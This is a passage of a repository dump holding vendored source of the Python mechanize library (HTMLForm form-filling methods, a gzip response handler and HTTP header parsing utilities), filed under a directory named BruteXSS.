know.\n\n    Controls can be disabled or readonly.  In either case, the control's value\n    cannot be changed until you clear those flags (see example below).\n    Disabled is the state typically represented by browsers by 'greying out' a\n    control.  Disabled controls are not 'successful' -- they don't cause data\n    to get returned to the server.  Readonly controls usually appear in\n    browsers as read-only text boxes.  Readonly controls are successful.  List\n    items can also be disabled.  Attempts to select or deselect disabled items\n    fail with AttributeError.\n\n    If a lot of controls are readonly, it can be useful to do this:\n\n    form.set_all_readonly(False)\n\n    To clear a control's value attribute, so that it is not successful (until a\n    value is subsequently set):\n\n    form.clear(\"cheeses\")\n\n    More examples:\n\n    control = form.find_control(\"cheeses\")\n    control.disabled = False\n    control.readonly = False\n    control.get(\"gruyere\").disabled = True\n    control.items[0].selected = True\n\n    See the various Control classes for further documentation.  Many methods\n    take name, type, kind, id, label and nr arguments to specify the control to\n    be operated on: see HTMLForm.find_control.__doc__.\n\n    ControlNotFoundError (subclass of ValueError) is raised if the specified\n    control can't be found.  This includes occasions where a non-ListControl\n    is found, but the method (set, for example) requires a ListControl.\n    ItemNotFoundError (subclass of ValueError) is raised if a list item can't\n    be found.  ItemCountError (subclass of ValueError) is raised if an attempt\n    is made to select more than one item and the control doesn't allow that, or\n    set/get_single are called and the control contains more than one item.\n    AttributeError is raised if a control or item is readonly or disabled and\n    an attempt is made to alter its value.\n\n    Security note: Remember that any passwords you store in HTMLForm instances\n    will be saved to disk in the clear if you pickle them (directly or\n    indirectly).  The simplest solution to this is to avoid pickling HTMLForm\n    objects.  You could also pickle before filling in any password, or just set\n    the password to \"\" before pickling.\n\n\n    Public attributes:\n\n    action: full (absolute URI) form action\n    method: \"GET\" or \"POST\"\n    enctype: form transfer encoding MIME type\n    name: name of form (None if no name was specified)\n    attrs: dictionary mapping original HTML form attributes to their values\n\n    controls: list of Control instances; do not alter this list\n     (instead, call form.new_control to make a Control and add it to the\n     form, or control.add_to_form if you already have a Control instance)\n\n\n\n    Methods for form filling:\n    -------------------------\n\n    Most of the these methods have very similar arguments.  See\n    HTMLForm.find_control.__doc__ for details of the name, type, kind, label\n    and nr arguments.\n\n    def find_control(self,\n                     name=None, type=None, kind=None, id=None, predicate=None,\n                     nr=None, label=None)\n\n    get_value(name=None, type=None, kind=None, id=None, nr=None,\n              by_label=False,  # by_label is deprecated\n              label=None)\n    set_value(value,\n              name=None, type=None, kind=None, id=None, nr=None,\n              by_label=False,  # by_label is deprecated\n              label=None)\n\n    clear_all()\n    clear(name=None, type=None, kind=None, id=None, nr=None, label=None)\n\n    set_all_readonly(readonly)\n\n\n    Method applying only to FileControls:\n\n    add_file(file_object,\n             content_type=\"application/octet-stream\", filename=None,\n             name=None, id=None, nr=None, label=None)\n\n\n    Methods applying only to clickable controls:\n\n    click(name=None, type=None, id=None, nr=0, coord=(1,1), label=None)\n    click_request_data(name=None, type=None, id=None, nr=0, coord=(1,1),\n                       label=None)\n    click_pairs(name=None, type=None, id=None, nr=0, coord=(1,1), label=None)\n\n    \"\"\"\n\n    type2class = {\n        \"text\": TextControl,\n        \"password\": PasswordControl,\n        \"hidden\": HiddenControl,\n        \"textarea\": TextareaControl,\n\n        \"isindex\": IsindexControl,\n\n        \"file\": FileControl,\n\n        \"button\": IgnoreControl,\n        \"buttonbutton\": IgnoreControl,\n        \"reset\": IgnoreControl,\n        \"resetbutton\": IgnoreControl,\n\n        \"submit\": SubmitControl,\n        \"submitbutton\": SubmitButtonControl,\n        \"image\": ImageControl,\n\n        \"radio\": RadioControl,\n        \"checkbox\": CheckboxControl,\n        \"select\": SelectControl,\n        }\n\n#---------------------------------------------------\n# Initialisation.  Use ParseResponse / ParseFile instead.\n\n    def __init__(self, action, method=\"GET\",\n                 enctype=\"application/x-www-form-urlencoded\",\n                 name=None, attrs=None,\n                 request_class=_request.Request,\n                 forms=None, labels=None, id_to_labels=None,\n                 backwards_compat=True):\n        \"\"\"\n        In the usual case, use ParseResponse (or ParseFile) to create new\n        HTMLForm objects.\n\n        action: full (absolute URI) form action\n        method: \"GET\" or \"POST\"\n        enctype: form transfer encoding MIME type\n        name: name of form\n        attrs: dictionary mapping original HTML form attributes to their values\n\n        \"\"\"\n        self.action = action\n        self.method = method\n        self.enctype = enctype\n        self.name = name\n        if attrs is not None:\n            self.attrs = attrs.copy()\n        else:\n            self.attrs = {}\n        self.controls = []\n        self._request_class = request_class\n\n        # these attributes are used by zope.testbrowser\n        self._forms = forms  # this is a semi-public API!\n        self._labels = labels  # this is a semi-public API!\n        self._id_to_labels = id_to_labels  # this is a semi-public API!\n\n        self.backwards_compat = backwards_compat  # note __setattr__\n\n        self._urlunparse = urlparse.urlunparse\n        self._urlparse = urlparse.urlparse\n\n    def __getattr__(self, name):\n        if name == \"backwards_compat\":\n            return self._backwards_compat\n        return getattr(HTMLForm, name)\n\n    def __setattr__(self, name, value):\n        # yuck\n        if name == \"backwards_compat\":\n            name = \"_backwards_compat\"\n            value = bool(value)\n            for cc in self.controls:\n                try:\n                    items = cc.items \n                except AttributeError:\n                    continue\n                else:\n                    for ii in items:\n                        for ll in ii.get_labels():\n                            ll._backwards_compat = value\n        self.__dict__[name] = value\n\n    def new_control(self, type, name, attrs,\n                    ignore_unknown=False, select_default=False, index=None):\n        \"\"\"Adds a new control to the form.\n\n        This is usually called by ParseFile and ParseResponse.  Don't call it\n        youself unless you're building your own Control instances.\n\n        Note that controls representing lists of items are built up from\n        controls holding only a single list item.  See ListControl.__doc__ for\n        further information.\n\n        type: type of control (see Control.__doc__ for a list)\n        attrs: HTML attributes of control\n        ignore_unknown: if true, use a dummy Control instance for controls of\n         unknown type; otherwise, use a TextControl\n        select_default: for RADIO and multiple-selection SELECT controls, pick\n         the first item as the default if no 'selected' HTML attribute is\n         present (this defaulting happens when the HTMLForm.fixup method is\n         called)\n        index: index of corresponding element in HTML (see\n         MoreFormTests.test_interspersed_controls for motivation)\n\n        \"\"\"\n        type = type.lower()\n        klass = self.type2class.get(type)\n        if klass is None:\n            if ignore_unknown:\n                klass = IgnoreControl\n            else:\n                klass = TextControl\n\n        a = attrs.copy()\n        if issubclass(klass, ListControl):\n            control = klass(type, name, a, select_default, index)\n        else:\n            control = klass(type, name, a, index)\n\n        if type == \"select\" and len(attrs) == 1:\n            for ii in range(len(self.controls)-1, -1, -1):\n                ctl = self.controls[ii]\n                if ctl.type == \"select\":\n                    ctl.close_control()\n                    break\n\n        control.add_to_form(self)\n        control._urlparse = self._urlparse\n        control._urlunparse = self._urlunparse\n\n    def fixup(self):\n        \"\"\"Normalise form after all controls have been added.\n\n        This is usually called by ParseFile and ParseResponse.  Don't call it\n        youself unless you're building your own Control instances.\n\n        This method should only be called once, after all controls have been\n        added to the form.\n\n        \"\"\"\n        for control in self.controls:\n            control.fixup()\n        self.backwards_compat = self._backwards_compat\n\n#---------------------------------------------------\n    def __str__(self):\n        header = \"%s%s %s %s\" % (\n            (self.name and self.name+\" \" or \"\"),\n            self.method, self.action, self.enctype)\n        rep = [header]\n        for control in self.controls:\n            rep.append(\"  %s\" % str(control))\n        return \"<%s>\" % \"\\n\".join(rep)\n\n#---------------------------------------------------\n# Form-filling methods.\n\n    def __getitem__(self, name):\n        return self.find_control(name).value\n    def __contains__(self, name):\n        return bool(self.find_control(name))\n    def __setitem__(self, name, value):\n        control = self.find_control(name)\n        try:\n            control.value = value\n        except AttributeError, e:\n            raise ValueError(str(e))\n\n    def get_value(self,\n                  name=None, type=None, kind=None, id=None, nr=None,\n                  by_label=False,  # by_label is deprecated\n                  label=None):\n        \"\"\"Return value of control.\n\n        If only name and value arguments are supplied, equivalent to\n\n        form[name]\n\n        \"\"\"\n        if by_label:\n            deprecation(\"form.get_value_by_label(...)\")\n        c = self.find_control(name, type, kind, id, label=label, nr=nr)\n        if by_label:\n            try:\n                meth = c.get_value_by_label\n            except AttributeError:\n                raise NotImplementedError(\n                    \"control '%s' does not yet support by_label\" % c.name)\n            else:\n                return meth()\n        else:\n            return c.value\n    def set_value(self, value,\n                  name=None, type=None, kind=None, id=None, nr=None,\n                  by_label=False,  # by_label is deprecated\n                  label=None):\n        \"\"\"Set value of control.\n\n        If only name and value arguments are supplied, equivalent to\n\n        form[name] = value\n\n        \"\"\"\n        if by_label:\n            deprecation(\"form.get_value_by_label(...)\")\n        c = self.find_control(name, type, kind, id, label=label, nr=nr)\n        if by_label:\n            try:\n                meth = c.set_value_by_label\n            except AttributeError:\n                raise NotImplementedError(\n                    \"control '%s' does not yet support by_label\" % c.name)\n            else:\n                meth(value)\n        else:\n            c.value = value\n    def get_value_by_label(\n        self, name=None, type=None, kind=None, id=None, label=None, nr=None):\n        \"\"\"\n\n        All arguments should be passed by name.\n\n        \"\"\"\n        c = self.find_control(name, type, kind, id, label=label, nr=nr)\n        return c.get_value_by_label()\n\n    def set_value_by_label(\n        self, value,\n        name=None, type=None, kind=None, id=None, label=None, nr=None):\n        \"\"\"\n\n        All arguments should be passed by name.\n\n        \"\"\"\n        c = self.find_control(name, type, kind, id, label=label, nr=nr)\n        c.set_value_by_label(value)\n\n    def set_all_readonly(self, readonly):\n        for control in self.controls:\n            control.readonly = bool(readonly)\n\n    def clear_all(self):\n        \"\"\"Clear the value attributes of all controls in the form.\n\n        See HTMLForm.clear.__doc__.\n\n        \"\"\"\n        for control in self.controls:\n            control.clear()\n\n    def clear(self,\n              name=None, type=None, kind=None, id=None, nr=None, label=None):\n        \"\"\"Clear the value attribute of a control.\n\n        As a result, the affected control will not be successful until a value\n        is subsequently set.  AttributeError is raised on readonly controls.\n\n        \"\"\"\n        c = self.find_control(name, type, kind, id, label=label, nr=nr)\n        c.clear()\n\n\n#---------------------------------------------------\n# Form-filling methods applying only to ListControls.\n\n    def possible_items(self,  # deprecated\n                       name=None, type=None, kind=None, id=None,\n                       nr=None, by_label=False, label=None):\n        \"\"\"Return a list of all values that the specified control can take.\"\"\"\n        c = self._find_list_control(name, type, kind, id, label, nr)\n        return c.possible_items(by_label)\n\n    def set(self, selected, item_name,  # deprecated\n            name=None, type=None, kind=None, id=None, nr=None,\n            by_label=False, label=None):\n        \"\"\"Select / deselect named list item.\n\n        selected: boolean selected state\n\n        \"\"\"\n        self._find_list_control(name, type, kind, id, label, nr).set(\n            selected, item_name, by_label)\n    def toggle(self, item_name,  # deprecated\n               name=None, type=None, kind=None, id=None, nr=None,\n               by_label=False, label=None):\n        \"\"\"Toggle selected state of named list item.\"\"\"\n        self._find_list_control(name, type, kind, id, label, nr).toggle(\n            item_name, by_label)\n\n    def set_single(self, selected,  # deprecated\n                   name=None, type=None, kind=None, id=None,\n                   nr=None, by_label=None, label=None):\n        \"\"\"Select / deselect list item in a control having only one item.\n\n        If the control has multiple list items, ItemCountError is raised.\n\n        This is just a convenience method, so you don't need to know the item's\n        name -- the item name in these single-item controls is usually\n        something meaningless like \"1\" or \"on\".\n\n        For example, if a checkbox has a single item named \"on\", the following\n        two calls are equivalent:\n\n        control.toggle(\"on\")\n        control.toggle_single()\n\n        \"\"\"  # by_label ignored and deprecated\n        self._find_list_control(\n            name, type, kind, id, label, nr).set_single(selected)\n    def toggle_single(self, name=None, type=None, kind=None, id=None,\n                      nr=None, by_label=None, label=None):  # deprecated\n        \"\"\"Toggle selected state of list item in control having only one item.\n\n        The rest is as for HTMLForm.set_single.__doc__.\n\n        \"\"\"  # by_label ignored and deprecated\n        self._find_list_control(name, type, kind, id, label, nr).toggle_single()\n\n#---------------------------------------------------\n# Form-filling method applying only to FileControls.\n\n    def add_file(self, file_object, content_type=None, filename=None,\n                 name=None, id=None, nr=None, label=None):\n        \"\"\"Add a file to be uploaded.\n\n        file_object: file-like object (with read method) from which to read\n         data to upload\n        content_type: MIME content type of data to upload\n        filename: filename to pass to server\n\n        If filename is None, no filename is sent to the server.\n\n        If content_type is None, the content type is guessed based on the\n        filename and the data from read from the file object.\n\n        XXX\n        At the moment, guessed content type is always application/octet-stream.\n        Use sndhdr, imghdr modules.  Should also try to guess HTML, XML, and\n        plain text.\n\n        Note the following useful HTML attributes of file upload controls (see\n        HTML 4.01 spec, section 17):\n\n        accept: comma-separated list of content types that the server will\n         handle correctly; you can use this to filter out non-conforming files\n        size: XXX IIRC, this is indicative of whether form wants multiple or\n         single files\n        maxlength: XXX hint of max content length in bytes?\n\n        \"\"\"\n        self.find_control(name, \"file\", id=id, label=label, nr=nr).add_file(\n            file_object, content_type, filename)\n\n#---------------------------------------------------\n# Form submission methods, applying only to clickable controls.\n\n    def click(self, name=None, type=None, id=None, nr=0, coord=(1,1),\n              request_class=_request.Request,\n              label=None):\n        \"\"\"Return request that would result from clicking on a control.\n\n        The request object is a mechanize.Request instance, which you can pass\n        to mechanize.urlopen.\n\n        Only some control types (INPUT/SUBMIT & BUTTON/SUBMIT buttons and\n        IMAGEs) can be clicked.\n\n        Will click on the first clickable control, subject to the name, type\n        and nr arguments (as for find_control).  If no name, type, id or number\n        is specified and there are no clickable controls, a request will be\n        returned for the form in its current, un-clicked, state.\n\n        IndexError is raised if any of name, type, id or nr is specified but no\n        matching control is found.  ValueError is raised if the HTMLForm has an\n        enctype attribute that is not recognised.\n\n        You can optionally specify a coordinate to click at, which only makes a\n        difference if you clicked on an image.\n\n        \"\"\"\n        return self._click(name, type, id, label, nr, coord, \"request\",\n                           self._request_class)\n\n    def click_request_data(self,\n                           name=None, type=None, id=None,\n                           nr=0, coord=(1,1),\n                           request_class=_request.Request,\n                           label=None):\n        \"\"\"As for click method, but return a tuple (url, data, headers).\n\n        You can use this data to send a request to the server.  This is useful\n        if you're using httplib or urllib rather than mechanize.  Otherwise,\n        use the click method.\n\n        # Untested.  Have to subclass to add headers, I think -- so use\n        # mechanize instead!\n        import urllib\n        url, data, hdrs = form.click_request_data()\n        r = urllib.urlopen(url, data)\n\n        # Untested.  I don't know of any reason to use httplib -- you can get\n        # just as much control with mechanize.\n        import httplib, urlparse\n        url, data, hdrs = form.click_request_data()\n        tup = urlparse(url)\n        host, path = tup[1], urlparse.urlunparse((None, None)+tup[2:])\n        conn = httplib.HTTPConnection(host)\n        if data:\n            httplib.request(\"POST\", path, data, hdrs)\n        else:\n            httplib.request(\"GET\", path, headers=hdrs)\n        r = conn.getresponse()\n\n        \"\"\"\n        return self._click(name, type, id, label, nr, coord, \"request_data\",\n                           self._request_class)\n\n    def click_pairs(self, name=None, type=None, id=None,\n                    nr=0, coord=(1,1),\n                    label=None):\n        \"\"\"As for click_request_data, but returns a list of (key, value) pairs.\n\n        You can use this list as an argument to urllib.urlencode.  This is\n        usually only useful if you're using httplib or urllib rather than\n        mechanize.  It may also be useful if you want to manually tweak the\n        keys and/or values, but this should not be necessary.  Otherwise, use\n        the click method.\n\n        Note that this method is only useful for forms of MIME type\n        x-www-form-urlencoded.  In particular, it does not return the\n        information required for file upload.  If you need file upload and are\n        not using mechanize, use click_request_data.\n        \"\"\"\n        return self._click(name, type, id, label, nr, coord, \"pairs\",\n                           self._request_class)\n\n#---------------------------------------------------\n\n    def find_control(self,\n                     name=None, type=None, kind=None, id=None,\n                     predicate=None, nr=None,\n                     label=None):\n        \"\"\"Locate and return some specific control within the form.\n\n        At least one of the name, type, kind, predicate and nr arguments must\n        be supplied.  If no matching control is found, ControlNotFoundError is\n        raised.\n\n        If name is specified, then the control must have the indicated name.\n\n        If type is specified then the control must have the specified type (in\n        addition to the types possible for <input> HTML tags: \"text\",\n        \"password\", \"hidden\", \"submit\", \"image\", \"button\", \"radio\", \"checkbox\",\n        \"file\" we also have \"reset\", \"buttonbutton\", \"submitbutton\",\n        \"resetbutton\", \"textarea\", \"select\" and \"isindex\").\n\n        If kind is specified, then the control must fall into the specified\n        group, each of which satisfies a particular interface.  The types are\n        \"text\", \"list\", \"multilist\", \"singlelist\", \"clickable\" and \"file\".\n\n        If id is specified, then the control must have the indicated id.\n\n        If predicate is specified, then the control must match that function.\n        The predicate function is passed the control as its single argument,\n        and should return a boolean value indicating whether the control\n        matched.\n\n        nr, if supplied, is the sequence number of the control (where 0 is the\n        first).  Note that control 0 is the first control matching all the\n        other arguments (if supplied); it is not necessarily the first control\n        in the form.  If no nr is supplied, AmbiguityError is raised if\n        multiple controls match the other arguments (unless the\n        .backwards-compat attribute is true).\n\n        If label is specified, then the control must have this label.  Note\n        that radio controls and checkboxes never have labels: their items do.\n\n        \"\"\"\n        if ((name is None) and (type is None) and (kind is None) and\n            (id is None) and (label is None) and (predicate is None) and\n            (nr is None)):\n            raise ValueError(\n                \"at least one argument must be supplied to specify control\")\n        return self._find_control(name, type, kind, id, label, predicate, nr)\n\n#---------------------------------------------------\n# Private methods.\n\n    def _find_list_control(self,\n                           name=None, type=None, kind=None, id=None, \n                           label=None, nr=None):\n        if ((name is None) and (type is None) and (kind is None) and\n            (id is None) and (label is None) and (nr is None)):\n            raise ValueError(\n                \"at least one argument must be supplied to specify control\")\n\n        return self._find_control(name, type, kind, id, label, \n                                  is_listcontrol, nr)\n\n    def _find_control(self, name, type, kind, id, label, predicate, nr):\n        if ((name is not None) and (name is not Missing) and\n            not isstringlike(name)):\n            raise TypeError(\"control name must be string-like\")\n        if (type is not None) and not isstringlike(type):\n            raise TypeError(\"control type must be string-like\")\n        if (kind is not None) and not isstringlike(kind):\n            raise TypeError(\"control kind must be string-like\")\n        if (id is not None) and not isstringlike(id):\n            raise TypeError(\"control id must be string-like\")\n        if (label is not None) and not isstringlike(label):\n            raise TypeError(\"control label must be string-like\")\n        if (predicate is not None) and not callable(predicate):\n            raise TypeError(\"control predicate must be callable\")\n        if (nr is not None) and nr < 0:\n            raise ValueError(\"control number must be a positive integer\")\n\n        orig_nr = nr\n        found = None\n        ambiguous = False\n        if nr is None and self.backwards_compat:\n            nr = 0\n\n        for control in self.controls:\n            if ((name is not None and name != control.name) and\n                (name is not Missing or control.name is not None)):\n                continue\n            if type is not None and type != control.type:\n                continue\n            if kind is not None and not control.is_of_kind(kind):\n                continue\n            if id is not None and id != control.id:\n                continue\n            if predicate and not predicate(control):\n                continue\n            if label:\n                for l in control.get_labels():\n                    if l.text.find(label) > -1:\n                        break\n                else:\n                    continue\n            if nr is not None:\n                if nr == 0:\n                    return control  # early exit: unambiguous due to nr\n                nr -= 1\n                continue\n            if found:\n                ambiguous = True\n                break\n            found = control\n\n        if found and not ambiguous:\n            return found\n\n        description = []\n        if name is not None: description.append(\"name %s\" % repr(name))\n        if type is not None: description.append(\"type '%s'\" % type)\n        if kind is not None: description.append(\"kind '%s'\" % kind)\n        if id is not None: description.append(\"id '%s'\" % id)\n        if label is not None: description.append(\"label '%s'\" % label)\n        if predicate is not None:\n            description.append(\"predicate %s\" % predicate)\n        if orig_nr: description.append(\"nr %d\" % orig_nr)\n        description = \", \".join(description)\n\n        if ambiguous:\n            raise AmbiguityError(\"more than one control matching \"+description)\n        elif not found:\n            raise ControlNotFoundError(\"no control matching \"+description)\n        assert False\n\n    def _click(self, name, type, id, label, nr, coord, return_type,\n               request_class=_request.Request):\n        try:\n            control = self._find_control(\n                name, type, \"clickable\", id, label, None, nr)\n        except ControlNotFoundError:\n            if ((name is not None) or (type is not None) or (id is not None) or\n                (label is not None) or (nr != 0)):\n                raise\n            # no clickable controls, but no control was explicitly requested,\n            # so return state without clicking any control\n            return self._switch_click(return_type, request_class)\n        else:\n            return control._click(self, coord, return_type, request_class)\n\n    def _pairs(self):\n        \"\"\"Return sequence of (key, value) pairs suitable for urlencoding.\"\"\"\n        return [(k, v) for (i, k, v, c_i) in self._pairs_and_controls()]\n\n\n    def _pairs_and_controls(self):\n        \"\"\"Return sequence of (index, key, value, control_index)\n        of totally ordered pairs suitable for urlencoding.\n\n        control_index is the index of the control in self.controls\n        \"\"\"\n        pairs = []\n        for control_index in range(len(self.controls)):\n            control = self.controls[control_index]\n            for ii, key, val in control._totally_ordered_pairs():\n                pairs.append((ii, key, val, control_index))\n\n        # stable sort by ONLY first item in tuple\n        pairs.sort()\n\n        return pairs\n\n    def _request_data(self):\n        \"\"\"Return a tuple (url, data, headers).\"\"\"\n        method = self.method.upper()\n        #scheme, netloc, path, parameters, query, frag = urlparse.urlparse(self.action)\n        parts = self._urlparse(self.action)\n        rest, (query, frag) = parts[:-2], parts[-2:]\n\n        if method == \"GET\":\n            if self.enctype != \"application/x-www-form-urlencoded\":\n                raise ValueError(\n                    \"unknown GET form encoding type '%s'\" % self.enctype)\n            parts = rest + (urllib.urlencode(self._pairs()), None)\n            uri = self._urlunparse(parts)\n            return uri, None, []\n        elif method == \"POST\":\n            parts = rest + (query, None)\n            uri = self._urlunparse(parts)\n            if self.enctype == \"application/x-www-form-urlencoded\":\n                return (uri, urllib.urlencode(self._pairs()),\n                        [(\"Content-Type\", self.enctype)])\n            elif self.enctype == \"multipart/form-data\":\n                data = StringIO()\n                http_hdrs = []\n                mw = MimeWriter(data, http_hdrs)\n                mw.startmultipartbody(\"form-data\", add_to_http_hdrs=True,\n                                      prefix=0)\n                for ii, k, v, control_index in self._pairs_and_controls():\n                    self.controls[control_index]._write_mime_data(mw, k, v)\n                mw.lastpart()\n                return uri, data.getvalue(), http_hdrs\n            else:\n                raise ValueError(\n                    \"unknown POST form encoding type '%s'\" % self.enctype)\n        else:\n            raise ValueError(\"Unknown method '%s'\" % method)\n\n    def _switch_click(self, return_type, request_class=_request.Request):\n        # This is called by HTMLForm and clickable Controls to hide switching\n        # on return_type.\n        if return_type == \"pairs\":\n            return self._pairs()\n        elif return_type == \"request_data\":\n            return self._request_data()\n        else:\n            req_data = self._request_data()\n            req = request_class(req_data[0], req_data[1])\n            for key, val in req_data[2]:\n                add_hdr = req.add_header\n                if key.lower() == \"content-type\":\n                    try:\n                        add_hdr = req.add_unredirected_header\n                    except AttributeError:\n                        # pre-2.4 and not using ClientCookie\n                        pass\n                add_hdr(key, val)\n            return req\n"
  },
  {
    "path": "BruteXSS/mechanize/_gzip.py",
    "content": "from cStringIO import StringIO\n\nimport _response\nimport _urllib2_fork\n\n\n# GzipConsumer was taken from Fredrik Lundh's effbot.org-0.1-20041009 library\nclass GzipConsumer:\n\n    def __init__(self, consumer):\n        self.__consumer = consumer\n        self.__decoder = None\n        self.__data = \"\"\n\n    def __getattr__(self, key):\n        return getattr(self.__consumer, key)\n\n    def feed(self, data):\n        if self.__decoder is None:\n            # check if we have a full gzip header\n            data = self.__data + data\n            try:\n                i = 10\n                flag = ord(data[3])\n                if flag & 4: # extra\n                    x = ord(data[i]) + 256*ord(data[i+1])\n                    i = i + 2 + x\n                if flag & 8: # filename\n                    while ord(data[i]):\n                        i = i + 1\n                    i = i + 1\n                if flag & 16: # comment\n                    while ord(data[i]):\n                        i = i + 1\n                    i = i + 1\n                if flag & 2: # crc\n                    i = i + 2\n                if len(data) < i:\n                    raise IndexError(\"not enough data\")\n                if data[:3] != \"\\x1f\\x8b\\x08\":\n                    raise IOError(\"invalid gzip data\")\n                data = data[i:]\n            except IndexError:\n                self.__data = data\n                return # need more data\n            import zlib\n            self.__data = \"\"\n            self.__decoder = zlib.decompressobj(-zlib.MAX_WBITS)\n        data = self.__decoder.decompress(data)\n        if data:\n            self.__consumer.feed(data)\n\n    def close(self):\n        if self.__decoder:\n            data = self.__decoder.flush()\n            if data:\n                self.__consumer.feed(data)\n        self.__consumer.close()\n\n\n# --------------------------------------------------------------------\n\n# the rest of this module is John Lee's stupid code, not\n# Fredrik's nice code :-)\n\nclass stupid_gzip_consumer:\n    def __init__(self): self.data = []\n    def feed(self, data): self.data.append(data)\n\nclass stupid_gzip_wrapper(_response.closeable_response):\n    def __init__(self, response):\n        self._response = response\n\n        c = stupid_gzip_consumer()\n        gzc = GzipConsumer(c)\n        gzc.feed(response.read())\n        self.__data = StringIO(\"\".join(c.data))\n\n    def read(self, size=-1):\n        return self.__data.read(size)\n    def readline(self, size=-1):\n        return self.__data.readline(size)\n    def readlines(self, sizehint=-1):\n        return self.__data.readlines(sizehint)\n\n    def __getattr__(self, name):\n        # delegate unknown methods/attributes\n        return getattr(self._response, name)\n\nclass HTTPGzipProcessor(_urllib2_fork.BaseHandler):\n    handler_order = 200  # response processing before HTTPEquivProcessor\n\n    def http_request(self, request):\n        request.add_header(\"Accept-Encoding\", \"gzip\")\n        return request\n\n    def http_response(self, request, response):\n        # post-process response\n        enc_hdrs = response.info().getheaders(\"Content-encoding\")\n        for enc_hdr in enc_hdrs:\n            if (\"gzip\" in enc_hdr) or (\"compress\" in enc_hdr):\n                return stupid_gzip_wrapper(response)\n        return response\n\n    https_response = http_response\n"
  },
  {
    "path": "BruteXSS/mechanize/_headersutil.py",
    "content": "\"\"\"Utility functions for HTTP header value parsing and construction.\n\nCopyright 1997-1998, Gisle Aas\nCopyright 2002-2006, John J. Lee\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport os, re\nfrom types import StringType\nfrom types import UnicodeType\nSTRING_TYPES = StringType, UnicodeType\n\nfrom _util import http2time\nimport _rfc3986\n\n\ndef is_html_file_extension(url, allow_xhtml):\n    ext = os.path.splitext(_rfc3986.urlsplit(url)[2])[1]\n    html_exts = [\".htm\", \".html\"]\n    if allow_xhtml:\n        html_exts += [\".xhtml\"]\n    return ext in html_exts\n\n\ndef is_html(ct_headers, url, allow_xhtml=False):\n    \"\"\"\n    ct_headers: Sequence of Content-Type headers\n    url: Response URL\n\n    \"\"\"\n    if not ct_headers:\n        return is_html_file_extension(url, allow_xhtml)\n    headers = split_header_words(ct_headers)\n    if len(headers) < 1:\n        return is_html_file_extension(url, allow_xhtml)\n    first_header = headers[0]\n    first_parameter = first_header[0]\n    ct = first_parameter[0]\n    html_types = [\"text/html\"]\n    if allow_xhtml:\n        html_types += [\n            \"text/xhtml\", \"text/xml\",\n            \"application/xml\", \"application/xhtml+xml\",\n            ]\n    return ct in html_types\n\n\ndef unmatched(match):\n    \"\"\"Return unmatched part of re.Match object.\"\"\"\n    start, end = match.span(0)\n    return match.string[:start]+match.string[end:]\n\ntoken_re =        re.compile(r\"^\\s*([^=\\s;,]+)\")\nquoted_value_re = re.compile(r\"^\\s*=\\s*\\\"([^\\\"\\\\]*(?:\\\\.[^\\\"\\\\]*)*)\\\"\")\nvalue_re =        re.compile(r\"^\\s*=\\s*([^\\s;,]*)\")\nescape_re = re.compile(r\"\\\\(.)\")\ndef split_header_words(header_values):\n    r\"\"\"Parse header values into a list of lists containing key,value pairs.\n\n    The function knows how to deal with \",\", \";\" and \"=\" as well as quoted\n    values after \"=\".  A list of space separated tokens are parsed as if they\n    were separated by \";\".\n\n    If the header_values passed as argument contains multiple values, then they\n    are treated as if they were a single value separated by comma \",\".\n\n    This means that this function is useful for parsing header fields that\n    follow this syntax (BNF as from the HTTP/1.1 specification, but we relax\n    the requirement for tokens).\n\n      headers           = #header\n      header            = (token | parameter) *( [\";\"] (token | parameter))\n\n      token             = 1*<any CHAR except CTLs or separators>\n      separators        = \"(\" | \")\" | \"<\" | \">\" | \"@\"\n                        | \",\" | \";\" | \":\" | \"\\\" | <\">\n                        | \"/\" | \"[\" | \"]\" | \"?\" | \"=\"\n                        | \"{\" | \"}\" | SP | HT\n\n      quoted-string     = ( <\"> *(qdtext | quoted-pair ) <\"> )\n      qdtext            = <any TEXT except <\">>\n      quoted-pair       = \"\\\" CHAR\n\n      parameter         = attribute \"=\" value\n      attribute         = token\n      value             = token | quoted-string\n\n    Each header is represented by a list of key/value pairs.  The value for a\n    simple token (not part of a parameter) is None.  Syntactically incorrect\n    headers will not necessarily be parsed as you would want.\n\n    This is easier to describe with some examples:\n\n    >>> split_header_words(['foo=\"bar\"; port=\"80,81\"; discard, bar=baz'])\n    [[('foo', 'bar'), ('port', '80,81'), ('discard', None)], [('bar', 'baz')]]\n    >>> split_header_words(['text/html; charset=\"iso-8859-1\"'])\n    [[('text/html', None), ('charset', 'iso-8859-1')]]\n    >>> split_header_words([r'Basic realm=\"\\\"foo\\bar\\\"\"'])\n    [[('Basic', None), ('realm', '\"foobar\"')]]\n\n    \"\"\"\n    assert type(header_values) not in STRING_TYPES\n    result = []\n    for text in header_values:\n        orig_text = text\n        pairs = []\n        while text:\n            m = token_re.search(text)\n            if m:\n                text = unmatched(m)\n                name = m.group(1)\n                m = quoted_value_re.search(text)\n                if m:  # quoted value\n                    text = unmatched(m)\n                    value = m.group(1)\n                    value = escape_re.sub(r\"\\1\", value)\n                else:\n                    m = value_re.search(text)\n                    if m:  # unquoted value\n                        text = unmatched(m)\n                        value = m.group(1)\n                        value = value.rstrip()\n                    else:\n                        # no value, a lone token\n                        value = None\n                pairs.append((name, value))\n            elif text.lstrip().startswith(\",\"):\n                # concatenated headers, as per RFC 2616 section 4.2\n                text = text.lstrip()[1:]\n                if pairs: result.append(pairs)\n                pairs = []\n            else:\n                # skip junk\n                non_junk, nr_junk_chars = re.subn(\"^[=\\s;]*\", \"\", text)\n                assert nr_junk_chars > 0, (\n                    \"split_header_words bug: '%s', '%s', %s\" %\n                    (orig_text, text, pairs))\n                text = non_junk\n        if pairs: result.append(pairs)\n    return result\n\njoin_escape_re = re.compile(r\"([\\\"\\\\])\")\ndef join_header_words(lists):\n    \"\"\"Do the inverse of the conversion done by split_header_words.\n\n    Takes a list of lists of (key, value) pairs and produces a single header\n    value.  Attribute values are quoted if needed.\n\n    >>> join_header_words([[(\"text/plain\", None), (\"charset\", \"iso-8859/1\")]])\n    'text/plain; charset=\"iso-8859/1\"'\n    >>> join_header_words([[(\"text/plain\", None)], [(\"charset\", \"iso-8859/1\")]])\n    'text/plain, charset=\"iso-8859/1\"'\n\n    \"\"\"\n    headers = []\n    for pairs in lists:\n        attr = []\n        for k, v in pairs:\n            if v is not None:\n                if not re.search(r\"^\\w+$\", v):\n                    v = join_escape_re.sub(r\"\\\\\\1\", v)  # escape \" and 